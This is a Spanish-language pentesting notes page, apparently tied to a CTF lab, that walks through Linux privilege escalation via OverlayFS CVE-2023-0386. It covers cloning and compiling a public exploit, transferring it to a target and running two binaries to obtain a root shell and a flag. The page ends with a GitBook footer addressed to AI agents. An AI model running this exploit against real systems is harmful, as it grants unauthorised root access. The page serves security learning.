> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/privesc/kernel-exploitation/overlayfs-kernel-exploit-linux-privilege-escalation.md).

# Explotación del kernel (OverlayFS) - Escalada de privilegios en Linux

## Qué es

La escalada de privilegios del kernel apunta a vulnerabilidades locales en el kernel de Linux o en parches específicos de la distribución. Estos exploits pueden ser inestables, por lo que la validación de versiones y las pruebas en laboratorio son importantes antes de ejecutarlos. Esta página específica se centra en **Explotación del kernel (OverlayFS)** y mantiene práctico el flujo de explotación: identificar la condición, validarla de forma segura y luego ejecutar la carga útil mínima necesaria para demostrar el impacto.

## Enumeración

Comienza confirmando el contexto local y la configuración incorrecta exacta antes de ejecutar la ruta de explotación.

```bash
uname -a
cat /etc/os-release
lsb_release -a 2>/dev/null
```

## Ejemplos

## Escalada de privilegios en OverlayFS CVE-2023-0386

> OverlayFS permite superponer sistemas de archivos. En algunas versiones del kernel de Linux, una gestión deficiente de las capacidades permite que un usuario sin privilegios ejecute código con **privilegios de root**.

{% embed url="<https://github.com/puckiestyle/CVE-2023-0386>" %}

**Etapas de la operación**

1. **Clonar el exploit** desde nuestra máquina local:

```bash
git clone https://github.com/puckiestyle/CVE-2023-0386
cd CVE-2023-0386
make all
```

2. **Transferir lo compilado** archivos a la máquina objetivo (`scp`, `python -m http.server`, etc.).

<figure><img src="/files/231efa5ccc019d949a2cf8b1a46490c7863bd1d4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/47265f23accb06ad6a17d1f79df5a8b4401f1baa" alt=""><figcaption></figcaption></figure>

2. **En la máquina objetivo**, ejecútelo en **dos terminales**:

* Terminal A:

```bash
./fuse ./ovlcap/lower ./gc
```

* Terminal B:

```bash
./exp
```

Si todo va bien, obtenemos una shell **root**

<figure><img src="/files/7abad8fac13c850c14c2397e009070e3049f5bae" alt=""><figcaption></figcaption></figure>

### Bandera root.txt :)

<figure><img src="/files/20d0325b63470f84a95c203f25686d8ee741b3fa" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/privesc/kernel-exploitation/overlayfs-kernel-exploit-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
